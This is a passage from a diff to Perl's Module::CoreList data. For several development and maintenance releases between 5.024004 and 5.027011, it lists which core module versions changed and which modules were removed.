+            'Test2::Hub'            => '1.302111',
+            'Test2::Hub::Interceptor'=> '1.302111',
+            'Test2::Hub::Interceptor::Terminator'=> '1.302111',
+            'Test2::Hub::Subtest'   => '1.302111',
+            'Test2::IPC'            => '1.302111',
+            'Test2::IPC::Driver'    => '1.302111',
+            'Test2::IPC::Driver::Files'=> '1.302111',
+            'Test2::Tools::Tiny'    => '1.302111',
+            'Test2::Util'           => '1.302111',
+            'Test2::Util::ExternalMeta'=> '1.302111',
+            'Test2::Util::Facets2Legacy'=> '1.302111',
+            'Test2::Util::HashBase' => '1.302111',
+            'Test2::Util::Trace'    => '1.302111',
+            'Test::Builder'         => '1.302111',
+            'Test::Builder::Formatter'=> '1.302111',
+            'Test::Builder::Module' => '1.302111',
+            'Test::Builder::Tester' => '1.302111',
+            'Test::Builder::Tester::Color'=> '1.302111',
+            'Test::Builder::TodoDiag'=> '1.302111',
+            'Test::More'            => '1.302111',
+            'Test::Simple'          => '1.302111',
+            'Test::Tester'          => '1.302111',
+            'Test::Tester::Capture' => '1.302111',
+            'Test::Tester::CaptureRunner'=> '1.302111',
+            'Test::Tester::Delegate'=> '1.302111',
+            'Test::use::ok'         => '1.302111',
+            'Tie::Array'            => '1.07',
+            'Tie::StdHandle'        => '4.5',
+            'Time::HiRes'           => '1.9747',
+            'Time::gmtime'          => '1.04',
+            'Time::localtime'       => '1.03',
+            'Unicode::Collate'      => '1.23',
+            'Unicode::Collate::CJK::Big5'=> '1.23',
+            'Unicode::Collate::CJK::GB2312'=> '1.23',
+            'Unicode::Collate::CJK::JISX0208'=> '1.23',
+            'Unicode::Collate::CJK::Korean'=> '1.23',
+            'Unicode::Collate::CJK::Pinyin'=> '1.23',
+            'Unicode::Collate::CJK::Stroke'=> '1.23',
+            'Unicode::Collate::CJK::Zhuyin'=> '1.23',
+            'Unicode::Collate::Locale'=> '1.23',
+            'Unicode::Normalize'    => '1.26',
+            'User::grent'           => '1.02',
+            'User::pwent'           => '1.01',
+            'VMS::DCLsym'           => '1.09',
+            'VMS::Stdio'            => '2.44',
+            'XS::APItest'           => '0.93',
+            'XS::Typemap'           => '0.16',
+            'XSLoader'              => '0.28',
+            'attributes'            => '0.32',
+            'base'                  => '2.27',
+            'blib'                  => '1.07',
+            'experimental'          => '0.017',
+            'fields'                => '2.24',
+            'ok'                    => '1.302111',
+            're'                    => '0.36',
+            'sort'                  => '2.04',
+            'threads'               => '2.19',
+            'warnings'              => '1.38',
+        },
+        removed => {
+        }
+    },
+    5.027007 => {
+        delta_from => 5.027006,
+        changed => {
+            'App::Cpan'             => '1.67',
+            'B'                     => '1.73',
+            'B::Debug'              => '1.26',
+            'B::Deparse'            => '1.46',
+            'B::Op_private'         => '5.027007',
+            'CPAN'                  => '2.20',
+            'CPAN::Distribution'    => '2.19',
+            'CPAN::FTP'             => '5.5011',
+            'CPAN::FirstTime'       => '5.5311',
+            'CPAN::Shell'           => '5.5007',
+            'Carp'                  => '1.45',
+            'Carp::Heavy'           => '1.45',
+            'Compress::Raw::Zlib'   => '2.076',
+            'Config'                => '5.027007',
+            'Cwd'                   => '3.71',
+            'Data::Dumper'          => '2.169',
+            'Devel::PPPort'         => '3.37',
+            'Digest::SHA'           => '6.00',
+            'DynaLoader'            => '1.45',
+            'ExtUtils::CBuilder'    => '0.280230',
+            'ExtUtils::CBuilder::Base'=> '0.280230',
+            'ExtUtils::CBuilder::Platform::Unix'=> '0.280230',
+            'ExtUtils::CBuilder::Platform::VMS'=> '0.280230',
+            'ExtUtils::CBuilder::Platform::Windows'=> '0.280230',
+            'ExtUtils::CBuilder::Platform::Windows::BCC'=> '0.280230',
+            'ExtUtils::CBuilder::Platform::Windows::GCC'=> '0.280230',
+            'ExtUtils::CBuilder::Platform::Windows::MSVC'=> '0.280230',
+            'ExtUtils::CBuilder::Platform::aix'=> '0.280230',
+            'ExtUtils::CBuilder::Platform::android'=> '0.280230',
+            'ExtUtils::CBuilder::Platform::cygwin'=> '0.280230',
+            'ExtUtils::CBuilder::Platform::darwin'=> '0.280230',
+            'ExtUtils::CBuilder::Platform::dec_osf'=> '0.280230',
+            'ExtUtils::CBuilder::Platform::os2'=> '0.280230',
+            'ExtUtils::Typemaps'    => '3.37',
+            'File::Fetch'           => '0.56',
+            'File::Spec'            => '3.71',
+            'File::Spec::AmigaOS'   => '3.71',
+            'File::Spec::Cygwin'    => '3.71',
+            'File::Spec::Epoc'      => '3.71',
+            'File::Spec::Functions' => '3.71',
+            'File::Spec::Mac'       => '3.71',
+            'File::Spec::OS2'       => '3.71',
+            'File::Spec::Unix'      => '3.71',
+            'File::Spec::VMS'       => '3.71',
+            'File::Spec::Win32'     => '3.71',
+            'Filter::Util::Call'    => '1.58',
+            'GDBM_File'             => '1.17',
+            'JSON::PP'              => '2.97000',
+            'JSON::PP::Boolean'     => '2.97000',
+            'Locale::Codes'         => '3.55',
+            'Locale::Codes::Constants'=> '3.55',
+            'Locale::Codes::Country'=> '3.55',
+            'Locale::Codes::Country_Codes'=> '3.55',
+            'Locale::Codes::Country_Retired'=> '3.55',
+            'Locale::Codes::Currency'=> '3.55',
+            'Locale::Codes::Currency_Codes'=> '3.55',
+            'Locale::Codes::Currency_Retired'=> '3.55',
+            'Locale::Codes::LangExt'=> '3.55',
+            'Locale::Codes::LangExt_Codes'=> '3.55',
+            'Locale::Codes::LangExt_Retired'=> '3.55',
+            'Locale::Codes::LangFam'=> '3.55',
+            'Locale::Codes::LangFam_Codes'=> '3.55',
+            'Locale::Codes::LangFam_Retired'=> '3.55',
+            'Locale::Codes::LangVar'=> '3.55',
+            'Locale::Codes::LangVar_Codes'=> '3.55',
+            'Locale::Codes::LangVar_Retired'=> '3.55',
+            'Locale::Codes::Language'=> '3.55',
+            'Locale::Codes::Language_Codes'=> '3.55',
+            'Locale::Codes::Language_Retired'=> '3.55',
+            'Locale::Codes::Script' => '3.55',
+            'Locale::Codes::Script_Codes'=> '3.55',
+            'Locale::Codes::Script_Retired'=> '3.55',
+            'Locale::Country'       => '3.55',
+            'Locale::Currency'      => '3.55',
+            'Locale::Language'      => '3.55',
+            'Locale::Script'        => '3.55',
+            'Module::CoreList'      => '5.20171220',
+            'Module::CoreList::TieHashDelta'=> '5.20171220',
+            'Module::CoreList::Utils'=> '5.20171220',
+            'Opcode'                => '1.42',
+            'POSIX'                 => '1.81',
+            'Pod::Functions'        => '1.12',
+            'Pod::Functions::Functions'=> '1.12',
+            'Pod::Html'             => '1.23',
+            'Sys::Hostname'         => '1.22',
+            'Test2'                 => '1.302120',
+            'Test2::API'            => '1.302120',
+            'Test2::API::Breakage'  => '1.302120',
+            'Test2::API::Context'   => '1.302120',
+            'Test2::API::Instance'  => '1.302120',
+            'Test2::API::Stack'     => '1.302120',
+            'Test2::Event'          => '1.302120',
+            'Test2::Event::Bail'    => '1.302120',
+            'Test2::Event::Diag'    => '1.302120',
+            'Test2::Event::Encoding'=> '1.302120',
+            'Test2::Event::Exception'=> '1.302120',
+            'Test2::Event::Fail'    => '1.302120',
+            'Test2::Event::Generic' => '1.302120',
+            'Test2::Event::Note'    => '1.302120',
+            'Test2::Event::Ok'      => '1.302120',
+            'Test2::Event::Pass'    => '1.302120',
+            'Test2::Event::Plan'    => '1.302120',
+            'Test2::Event::Skip'    => '1.302120',
+            'Test2::Event::Subtest' => '1.302120',
+            'Test2::Event::TAP::Version'=> '1.302120',
+            'Test2::Event::Waiting' => '1.302120',
+            'Test2::EventFacet'     => '1.302120',
+            'Test2::EventFacet::About'=> '1.302120',
+            'Test2::EventFacet::Amnesty'=> '1.302120',
+            'Test2::EventFacet::Assert'=> '1.302120',
+            'Test2::EventFacet::Control'=> '1.302120',
+            'Test2::EventFacet::Error'=> '1.302120',
+            'Test2::EventFacet::Info'=> '1.302120',
+            'Test2::EventFacet::Meta'=> '1.302120',
+            'Test2::EventFacet::Parent'=> '1.302120',
+            'Test2::EventFacet::Plan'=> '1.302120',
+            'Test2::EventFacet::Trace'=> '1.302120',
+            'Test2::Formatter'      => '1.302120',
+            'Test2::Formatter::TAP' => '1.302120',
+            'Test2::Hub'            => '1.302120',
+            'Test2::Hub::Interceptor'=> '1.302120',
+            'Test2::Hub::Interceptor::Terminator'=> '1.302120',
+            'Test2::Hub::Subtest'   => '1.302120',
+            'Test2::IPC'            => '1.302120',
+            'Test2::IPC::Driver'    => '1.302120',
+            'Test2::IPC::Driver::Files'=> '1.302120',
+            'Test2::Tools::Tiny'    => '1.302120',
+            'Test2::Util'           => '1.302120',
+            'Test2::Util::ExternalMeta'=> '1.302120',
+            'Test2::Util::Facets2Legacy'=> '1.302120',
+            'Test2::Util::HashBase' => '1.302120',
+            'Test2::Util::Trace'    => '1.302120',
+            'Test::Builder'         => '1.302120',
+            'Test::Builder::Formatter'=> '1.302120',
+            'Test::Builder::Module' => '1.302120',
+            'Test::Builder::Tester' => '1.302120',
+            'Test::Builder::Tester::Color'=> '1.302120',
+            'Test::Builder::TodoDiag'=> '1.302120',
+            'Test::More'            => '1.302120',
+            'Test::Simple'          => '1.302120',
+            'Test::Tester'          => '1.302120',
+            'Test::Tester::Capture' => '1.302120',
+            'Test::Tester::CaptureRunner'=> '1.302120',
+            'Test::Tester::Delegate'=> '1.302120',
+            'Test::use::ok'         => '1.302120',
+            'Time::HiRes'           => '1.9748',
+            'Time::Piece'           => '1.3203',
+            'Time::Seconds'         => '1.3203',
+            'Unicode::Collate'      => '1.25',
+            'Unicode::Collate::CJK::Big5'=> '1.25',
+            'Unicode::Collate::CJK::GB2312'=> '1.25',
+            'Unicode::Collate::CJK::JISX0208'=> '1.25',
+            'Unicode::Collate::CJK::Korean'=> '1.25',
+            'Unicode::Collate::CJK::Pinyin'=> '1.25',
+            'Unicode::Collate::CJK::Stroke'=> '1.25',
+            'Unicode::Collate::CJK::Zhuyin'=> '1.25',
+            'Unicode::Collate::Locale'=> '1.25',
+            'Unicode::UCD'          => '0.69',
+            'XS::APItest'           => '0.94',
+            'XSLoader'              => '0.29',
+            'arybase'               => '0.15',
+            'autodie::exception'    => '2.29001',
+            'autodie::hints'        => '2.29001',
+            'experimental'          => '0.019',
+            'feature'               => '1.50',
+            'ok'                    => '1.302120',
+            'overload'              => '1.29',
+            'threads'               => '2.21',
+            'threads::shared'       => '1.58',
+            'warnings'              => '1.39',
+        },
+        removed => {
+        }
+    },
+    5.027008 => {
+        delta_from => 5.027007,
+        changed => {
+            'B'                     => '1.74',
+            'B::Deparse'            => '1.47',
+            'B::Op_private'         => '5.027008',
+            'Config'                => '5.027008',
+            'Cwd'                   => '3.72',
+            'Data::Dumper'          => '2.170',
+            'Devel::PPPort'         => '3.38',
+            'Digest::SHA'           => '6.01',
+            'Encode'                => '2.94',
+            'Encode::Alias'         => '2.24',
+            'ExtUtils::Miniperl'    => '1.08',
+            'File::Spec'            => '3.72',
+            'File::Spec::AmigaOS'   => '3.72',
+            'File::Spec::Cygwin'    => '3.72',
+            'File::Spec::Epoc'      => '3.72',
+            'File::Spec::Functions' => '3.72',
+            'File::Spec::Mac'       => '3.72',
+            'File::Spec::OS2'       => '3.72',
+            'File::Spec::Unix'      => '3.72',
+            'File::Spec::VMS'       => '3.72',
+            'File::Spec::Win32'     => '3.72',
+            'JSON::PP'              => '2.97001',
+            'JSON::PP::Boolean'     => '2.97001',
+            'Module::CoreList'      => '5.20180120',
+            'Module::CoreList::TieHashDelta'=> '5.20180120',
+            'Module::CoreList::Utils'=> '5.20180120',
+            'Opcode'                => '1.43',
+            'Pod::Functions'        => '1.13',
+            'Pod::Functions::Functions'=> '1.13',
+            'Pod::Html'             => '1.24',
+            'Pod::Man'              => '4.10',
+            'Pod::ParseLink'        => '4.10',
+            'Pod::Text'             => '4.10',
+            'Pod::Text::Color'      => '4.10',
+            'Pod::Text::Overstrike' => '4.10',
+            'Pod::Text::Termcap'    => '4.10',
+            'Socket'                => '2.027',
+            'Time::HiRes'           => '1.9752',
+            'Unicode::UCD'          => '0.70',
+            'XS::APItest'           => '0.95',
+            'XSLoader'              => '0.30',
+            'autodie::exception'    => '2.29002',
+            'feature'               => '1.51',
+            'overload'              => '1.30',
+            'utf8'                  => '1.21',
+            'warnings'              => '1.40',
+        },
+        removed => {
+        }
+    },
+    5.027009 => {
+        delta_from => 5.027008,
+        changed => {
+            'B::Op_private'         => '5.027009',
+            'Carp'                  => '1.46',
+            'Carp::Heavy'           => '1.46',
+            'Config'                => '5.027009',
+            'Cwd'                   => '3.74',
+            'Devel::PPPort'         => '3.39',
+            'Encode'                => '2.96',
+            'Encode::Unicode'       => '2.17',
+            'Errno'                 => '1.29',
+            'ExtUtils::Command'     => '7.32',
+            'ExtUtils::Command::MM' => '7.32',
+            'ExtUtils::Liblist'     => '7.32',
+            'ExtUtils::Liblist::Kid'=> '7.32',
+            'ExtUtils::MM'          => '7.32',
+            'ExtUtils::MM_AIX'      => '7.32',
+            'ExtUtils::MM_Any'      => '7.32',
+            'ExtUtils::MM_BeOS'     => '7.32',
+            'ExtUtils::MM_Cygwin'   => '7.32',
+            'ExtUtils::MM_DOS'      => '7.32',
+            'ExtUtils::MM_Darwin'   => '7.32',
+            'ExtUtils::MM_MacOS'    => '7.32',
+            'ExtUtils::MM_NW5'      => '7.32',
+            'ExtUtils::MM_OS2'      => '7.32',
+            'ExtUtils::MM_QNX'      => '7.32',
+            'ExtUtils::MM_UWIN'     => '7.32',
+            'ExtUtils::MM_Unix'     => '7.32',
+            'ExtUtils::MM_VMS'      => '7.32',
+            'ExtUtils::MM_VOS'      => '7.32',
+            'ExtUtils::MM_Win32'    => '7.32',
+            'ExtUtils::MM_Win95'    => '7.32',
+            'ExtUtils::MY'          => '7.32',
+            'ExtUtils::MakeMaker'   => '7.32',
+            'ExtUtils::MakeMaker::Config'=> '7.32',
+            'ExtUtils::MakeMaker::Locale'=> '7.32',
+            'ExtUtils::MakeMaker::version'=> '7.32',
+            'ExtUtils::MakeMaker::version::regex'=> '7.32',
+            'ExtUtils::Mkbootstrap' => '7.32',
+            'ExtUtils::Mksymlists'  => '7.32',
+            'ExtUtils::ParseXS'     => '3.38',
+            'ExtUtils::ParseXS::Constants'=> '3.38',
+            'ExtUtils::ParseXS::CountLines'=> '3.38',
+            'ExtUtils::ParseXS::Eval'=> '3.38',
+            'ExtUtils::ParseXS::Utilities'=> '3.38',
+            'ExtUtils::Typemaps'    => '3.38',
+            'ExtUtils::Typemaps::Cmd'=> '3.38',
+            'ExtUtils::Typemaps::InputMap'=> '3.38',
+            'ExtUtils::Typemaps::OutputMap'=> '3.38',
+            'ExtUtils::Typemaps::Type'=> '3.38',
+            'ExtUtils::testlib'     => '7.32',
+            'File::Spec'            => '3.74',
+            'File::Spec::AmigaOS'   => '3.74',
+            'File::Spec::Cygwin'    => '3.74',
+            'File::Spec::Epoc'      => '3.74',
+            'File::Spec::Functions' => '3.74',
+            'File::Spec::Mac'       => '3.74',
+            'File::Spec::OS2'       => '3.74',
+            'File::Spec::Unix'      => '3.74',
+            'File::Spec::VMS'       => '3.74',
+            'File::Spec::Win32'     => '3.74',
+            'IPC::Cmd'              => '1.00',
+            'Math::BigFloat::Trace' => '0.49',
+            'Math::BigInt::Trace'   => '0.49',
+            'Module::CoreList'      => '5.20180220',
+            'Module::CoreList::Utils'=> '5.20180220',
+            'POSIX'                 => '1.82',
+            'PerlIO::encoding'      => '0.26',
+            'Storable'              => '3.06',
+            'Storable::Limit'       => undef,
+            'Test2'                 => '1.302122',
+            'Test2::API'            => '1.302122',
+            'Test2::API::Breakage'  => '1.302122',
+            'Test2::API::Context'   => '1.302122',
+            'Test2::API::Instance'  => '1.302122',
+            'Test2::API::Stack'     => '1.302122',
+            'Test2::Event'          => '1.302122',
+            'Test2::Event::Bail'    => '1.302122',
+            'Test2::Event::Diag'    => '1.302122',
+            'Test2::Event::Encoding'=> '1.302122',
+            'Test2::Event::Exception'=> '1.302122',
+            'Test2::Event::Fail'    => '1.302122',
+            'Test2::Event::Generic' => '1.302122',
+            'Test2::Event::Note'    => '1.302122',
+            'Test2::Event::Ok'      => '1.302122',
+            'Test2::Event::Pass'    => '1.302122',
+            'Test2::Event::Plan'    => '1.302122',
+            'Test2::Event::Skip'    => '1.302122',
+            'Test2::Event::Subtest' => '1.302122',
+            'Test2::Event::TAP::Version'=> '1.302122',
+            'Test2::Event::Waiting' => '1.302122',
+            'Test2::EventFacet'     => '1.302122',
+            'Test2::EventFacet::About'=> '1.302122',
+            'Test2::EventFacet::Amnesty'=> '1.302122',
+            'Test2::EventFacet::Assert'=> '1.302122',
+            'Test2::EventFacet::Control'=> '1.302122',
+            'Test2::EventFacet::Error'=> '1.302122',
+            'Test2::EventFacet::Info'=> '1.302122',
+            'Test2::EventFacet::Meta'=> '1.302122',
+            'Test2::EventFacet::Parent'=> '1.302122',
+            'Test2::EventFacet::Plan'=> '1.302122',
+            'Test2::EventFacet::Render'=> '1.302122',
+            'Test2::EventFacet::Trace'=> '1.302122',
+            'Test2::Formatter'      => '1.302122',
+            'Test2::Formatter::TAP' => '1.302122',
+            'Test2::Hub'            => '1.302122',
+            'Test2::Hub::Interceptor'=> '1.302122',
+            'Test2::Hub::Interceptor::Terminator'=> '1.302122',
+            'Test2::Hub::Subtest'   => '1.302122',
+            'Test2::IPC'            => '1.302122',
+            'Test2::IPC::Driver'    => '1.302122',
+            'Test2::IPC::Driver::Files'=> '1.302122',
+            'Test2::Tools::Tiny'    => '1.302122',
+            'Test2::Util'           => '1.302122',
+            'Test2::Util::ExternalMeta'=> '1.302122',
+            'Test2::Util::Facets2Legacy'=> '1.302122',
+            'Test2::Util::HashBase' => '1.302122',
+            'Test2::Util::Trace'    => '1.302122',
+            'Test::Builder'         => '1.302122',
+            'Test::Builder::Formatter'=> '1.302122',
+            'Test::Builder::Module' => '1.302122',
+            'Test::Builder::Tester' => '1.302122',
+            'Test::Builder::Tester::Color'=> '1.302122',
+            'Test::Builder::TodoDiag'=> '1.302122',
+            'Test::More'            => '1.302122',
+            'Test::Simple'          => '1.302122',
+            'Test::Tester'          => '1.302122',
+            'Test::Tester::Capture' => '1.302122',
+            'Test::Tester::CaptureRunner'=> '1.302122',
+            'Test::Tester::Delegate'=> '1.302122',
+            'Test::use::ok'         => '1.302122',
+            'Time::HiRes'           => '1.9753',
+            'XS::APItest'           => '0.96',
+            'bigint'                => '0.49',
+            'bignum'                => '0.49',
+            'bigrat'                => '0.49',
+            'encoding'              => '2.22',
+            'if'                    => '0.0608',
+            'mro'                   => '1.22',
+            'ok'                    => '1.302122',
+            'threads'               => '2.22',
+            'warnings'              => '1.41',
+        },
+        removed => {
+            'Module::CoreList::TieHashDelta'=> 1,
+        }
+    },
+    5.027010 => {
+        delta_from => 5.027009,
+        changed => {
+            'App::Prove'            => '3.42',
+            'App::Prove::State'     => '3.42',
+            'App::Prove::State::Result'=> '3.42',
+            'App::Prove::State::Result::Test'=> '3.42',
+            'B::Deparse'            => '1.48',
+            'B::Op_private'         => '5.027010',
+            'Carp'                  => '1.49',
+            'Carp::Heavy'           => '1.49',
+            'Config'                => '5.02701',
+            'Encode'                => '2.97',
+            'ExtUtils::Command'     => '7.34',
+            'ExtUtils::Command::MM' => '7.34',
+            'ExtUtils::Liblist'     => '7.34',
+            'ExtUtils::Liblist::Kid'=> '7.34',
+            'ExtUtils::MM'          => '7.34',
+            'ExtUtils::MM_AIX'      => '7.34',
+            'ExtUtils::MM_Any'      => '7.34',
+            'ExtUtils::MM_BeOS'     => '7.34',
+            'ExtUtils::MM_Cygwin'   => '7.34',
+            'ExtUtils::MM_DOS'      => '7.34',
+            'ExtUtils::MM_Darwin'   => '7.34',
+            'ExtUtils::MM_MacOS'    => '7.34',
+            'ExtUtils::MM_NW5'      => '7.34',
+            'ExtUtils::MM_OS2'      => '7.34',
+            'ExtUtils::MM_QNX'      => '7.34',
+            'ExtUtils::MM_UWIN'     => '7.34',
+            'ExtUtils::MM_Unix'     => '7.34',
+            'ExtUtils::MM_VMS'      => '7.34',
+            'ExtUtils::MM_VOS'      => '7.34',
+            'ExtUtils::MM_Win32'    => '7.34',
+            'ExtUtils::MM_Win95'    => '7.34',
+            'ExtUtils::MY'          => '7.34',
+            'ExtUtils::MakeMaker'   => '7.34',
+            'ExtUtils::MakeMaker::Config'=> '7.34',
+            'ExtUtils::MakeMaker::Locale'=> '7.34',
+            'ExtUtils::MakeMaker::version'=> '7.34',
+            'ExtUtils::MakeMaker::version::regex'=> '7.34',
+            'ExtUtils::Mkbootstrap' => '7.34',
+            'ExtUtils::Mksymlists'  => '7.34',
+            'ExtUtils::ParseXS'     => '3.39',
+            'ExtUtils::ParseXS::Constants'=> '3.39',
+            'ExtUtils::ParseXS::CountLines'=> '3.39',
+            'ExtUtils::ParseXS::Eval'=> '3.39',
+            'ExtUtils::ParseXS::Utilities'=> '3.39',
+            'ExtUtils::testlib'     => '7.34',
+            'File::Glob'            => '1.31',
+            'I18N::Langinfo'        => '0.16',
+            'List::Util'            => '1.50',
+            'List::Util::XS'        => '1.50',
+            'Locale::Codes'         => '3.56',
+            'Locale::Codes::Constants'=> '3.56',
+            'Locale::Codes::Country'=> '3.56',
+            'Locale::Codes::Country_Codes'=> '3.56',
+            'Locale::Codes::Country_Retired'=> '3.56',
+            'Locale::Codes::Currency'=> '3.56',
+            'Locale::Codes::Currency_Codes'=> '3.56',
+            'Locale::Codes::Currency_Retired'=> '3.56',
+            'Locale::Codes::LangExt'=> '3.56',
+            'Locale::Codes::LangExt_Codes'=> '3.56',
+            'Locale::Codes::LangExt_Retired'=> '3.56',
+            'Locale::Codes::LangFam'=> '3.56',
+            'Locale::Codes::LangFam_Codes'=> '3.56',
+            'Locale::Codes::LangFam_Retired'=> '3.56',
+            'Locale::Codes::LangVar'=> '3.56',
+            'Locale::Codes::LangVar_Codes'=> '3.56',
+            'Locale::Codes::LangVar_Retired'=> '3.56',
+            'Locale::Codes::Language'=> '3.56',
+            'Locale::Codes::Language_Codes'=> '3.56',
+            'Locale::Codes::Language_Retired'=> '3.56',
+            'Locale::Codes::Script' => '3.56',
+            'Locale::Codes::Script_Codes'=> '3.56',
+            'Locale::Codes::Script_Retired'=> '3.56',
+            'Locale::Country'       => '3.56',
+            'Locale::Currency'      => '3.56',
+            'Locale::Language'      => '3.56',
+            'Locale::Script'        => '3.56',
+            'Module::CoreList'      => '5.20180221',
+            'Module::CoreList::Utils'=> '5.20180221',
+            'POSIX'                 => '1.83',
+            'Scalar::Util'          => '1.50',
+            'Sub::Util'             => '1.50',
+            'TAP::Base'             => '3.42',
+            'TAP::Formatter::Base'  => '3.42',
+            'TAP::Formatter::Color' => '3.42',
+            'TAP::Formatter::Console'=> '3.42',
+            'TAP::Formatter::Console::ParallelSession'=> '3.42',
+            'TAP::Formatter::Console::Session'=> '3.42',
+            'TAP::Formatter::File'  => '3.42',
+            'TAP::Formatter::File::Session'=> '3.42',
+            'TAP::Formatter::Session'=> '3.42',
+            'TAP::Harness'          => '3.42',
+            'TAP::Harness::Env'     => '3.42',
+            'TAP::Object'           => '3.42',
+            'TAP::Parser'           => '3.42',
+            'TAP::Parser::Aggregator'=> '3.42',
+            'TAP::Parser::Grammar'  => '3.42',
+            'TAP::Parser::Iterator' => '3.42',
+            'TAP::Parser::Iterator::Array'=> '3.42',
+            'TAP::Parser::Iterator::Process'=> '3.42',
+            'TAP::Parser::Iterator::Stream'=> '3.42',
+            'TAP::Parser::IteratorFactory'=> '3.42',
+            'TAP::Parser::Multiplexer'=> '3.42',
+            'TAP::Parser::Result'   => '3.42',
+            'TAP::Parser::Result::Bailout'=> '3.42',
+            'TAP::Parser::Result::Comment'=> '3.42',
+            'TAP::Parser::Result::Plan'=> '3.42',
+            'TAP::Parser::Result::Pragma'=> '3.42',
+            'TAP::Parser::Result::Test'=> '3.42',
+            'TAP::Parser::Result::Unknown'=> '3.42',
+            'TAP::Parser::Result::Version'=> '3.42',
+            'TAP::Parser::Result::YAML'=> '3.42',
+            'TAP::Parser::ResultFactory'=> '3.42',
+            'TAP::Parser::Scheduler'=> '3.42',
+            'TAP::Parser::Scheduler::Job'=> '3.42',
+            'TAP::Parser::Scheduler::Spinner'=> '3.42',
+            'TAP::Parser::Source'   => '3.42',
+            'TAP::Parser::SourceHandler'=> '3.42',
+            'TAP::Parser::SourceHandler::Executable'=> '3.42',
+            'TAP::Parser::SourceHandler::File'=> '3.42',
+            'TAP::Parser::SourceHandler::Handle'=> '3.42',
+            'TAP::Parser::SourceHandler::Perl'=> '3.42',
+            'TAP::Parser::SourceHandler::RawTAP'=> '3.42',
+            'TAP::Parser::YAMLish::Reader'=> '3.42',
+            'TAP::Parser::YAMLish::Writer'=> '3.42',
+            'Test2'                 => '1.302133',
+            'Test2::API'            => '1.302133',
+            'Test2::API::Breakage'  => '1.302133',
+            'Test2::API::Context'   => '1.302133',
+            'Test2::API::Instance'  => '1.302133',
+            'Test2::API::Stack'     => '1.302133',
+            'Test2::Event'          => '1.302133',
+            'Test2::Event::Bail'    => '1.302133',
+            'Test2::Event::Diag'    => '1.302133',
+            'Test2::Event::Encoding'=> '1.302133',
+            'Test2::Event::Exception'=> '1.302133',
+            'Test2::Event::Fail'    => '1.302133',
+            'Test2::Event::Generic' => '1.302133',
+            'Test2::Event::Note'    => '1.302133',
+            'Test2::Event::Ok'      => '1.302133',
+            'Test2::Event::Pass'    => '1.302133',
+            'Test2::Event::Plan'    => '1.302133',
+            'Test2::Event::Skip'    => '1.302133',
+            'Test2::Event::Subtest' => '1.302133',
+            'Test2::Event::TAP::Version'=> '1.302133',
+            'Test2::Event::V2'      => '1.302133',
+            'Test2::Event::Waiting' => '1.302133',
+            'Test2::EventFacet'     => '1.302133',
+            'Test2::EventFacet::About'=> '1.302133',
+            'Test2::EventFacet::Amnesty'=> '1.302133',
+            'Test2::EventFacet::Assert'=> '1.302133',
+            'Test2::EventFacet::Control'=> '1.302133',
+            'Test2::EventFacet::Error'=> '1.302133',
+            'Test2::EventFacet::Hub'=> '1.302133',
+            'Test2::EventFacet::Info'=> '1.302133',
+            'Test2::EventFacet::Meta'=> '1.302133',
+            'Test2::EventFacet::Parent'=> '1.302133',
+            'Test2::EventFacet::Plan'=> '1.302133',
+            'Test2::EventFacet::Render'=> '1.302133',
+            'Test2::EventFacet::Trace'=> '1.302133',
+            'Test2::Formatter'      => '1.302133',
+            'Test2::Formatter::TAP' => '1.302133',
+            'Test2::Hub'            => '1.302133',
+            'Test2::Hub::Interceptor'=> '1.302133',
+            'Test2::Hub::Interceptor::Terminator'=> '1.302133',
+            'Test2::Hub::Subtest'   => '1.302133',
+            'Test2::IPC'            => '1.302133',
+            'Test2::IPC::Driver'    => '1.302133',
+            'Test2::IPC::Driver::Files'=> '1.302133',
+            'Test2::Tools::Tiny'    => '1.302133',
+            'Test2::Util'           => '1.302133',
+            'Test2::Util::ExternalMeta'=> '1.302133',
+            'Test2::Util::Facets2Legacy'=> '1.302133',
+            'Test2::Util::HashBase' => '1.302133',
+            'Test2::Util::Trace'    => '1.302133',
+            'Test::Builder'         => '1.302133',
+            'Test::Builder::Formatter'=> '1.302133',
+            'Test::Builder::Module' => '1.302133',
+            'Test::Builder::Tester' => '1.302133',
+            'Test::Builder::Tester::Color'=> '1.302133',
+            'Test::Builder::TodoDiag'=> '1.302133',
+            'Test::Harness'         => '3.42',
+            'Test::More'            => '1.302133',
+            'Test::Simple'          => '1.302133',
+            'Test::Tester'          => '1.302133',
+            'Test::Tester::Capture' => '1.302133',
+            'Test::Tester::CaptureRunner'=> '1.302133',
+            'Test::Tester::Delegate'=> '1.302133',
+            'Test::use::ok'         => '1.302133',
+            'Time::HiRes'           => '1.9757',
+            'Time::Piece'           => '1.3204',
+            'Time::Seconds'         => '1.3204',
+            'attributes'            => '0.33',
+            'ok'                    => '1.302133',
+            'warnings'              => '1.42',
+        },
+        removed => {
+        }
+    },
+    5.024004 => {
+        delta_from => 5.024003,
+        changed => {
+            'B::Op_private'         => '5.024004',
+            'Config'                => '5.024004',
+            'Module::CoreList'      => '5.20180414_24',
+            'Module::CoreList::TieHashDelta'=> '5.20180414_24',
+            'Module::CoreList::Utils'=> '5.20180414_24',
+        },
+        removed => {
+        }
+    },
+    5.026002 => {
+        delta_from => 5.026001,
+        changed => {
+            'B::Op_private'         => '5.026002',
+            'Config'                => '5.026002',
+            'Module::CoreList'      => '5.20180414_26',
+            'Module::CoreList::TieHashDelta'=> '5.20180414_26',
+            'Module::CoreList::Utils'=> '5.20180414_26',
+            'PerlIO::via'           => '0.17',
+            'Term::ReadLine'        => '1.17',
+            'Unicode::UCD'          => '0.69',
+        },
+        removed => {
+        }
+    },
+    5.027011 => {
+        delta_from => 5.027010,
+        changed => {
+            'B::Op_private'         => '5.027011',
+            'Carp'                  => '1.50',
+            'Carp::Heavy'           => '1.50',
+            'Config'                => '5.027011',
+            'Devel::PPPort'         => '3.40',
+            'Exporter'              => '5.73',
+            'Exporter::Heavy'       => '5.73',
+            'ExtUtils::Constant'    => '0.25',
+            'I18N::Langinfo'        => '0.17',
+            'IO'                    => '1.39',
+            'IO::Dir'               => '1.39',
+            'IO::File'              => '1.39',
+            'IO::Handle'            => '1.39',
+            'IO::Pipe'              => '1.39',
+            'IO::Poll'              => '1.39',
+            'IO::Seekable'          => '1.39',
+            'IO::Select'            => '1.39',
+            'IO::Socket'            => '1.39',
+            'IO::Socket::INET'      => '1.39',
+            'IO::Socket::UNIX'      => '1.39',
+            'Module::CoreList'      => '5.20180420',
+            'Module::CoreList::Utils'=> '5.20180420',
+            'POSIX'                 => '1.84',
+            'Time::HiRes'           => '1.9759',
+            'XS::APItest'           => '0.97',
+            'bytes'                 => '1.06',
+            'subs'                  => '1.03',
+            'vars'                  => '1.04',
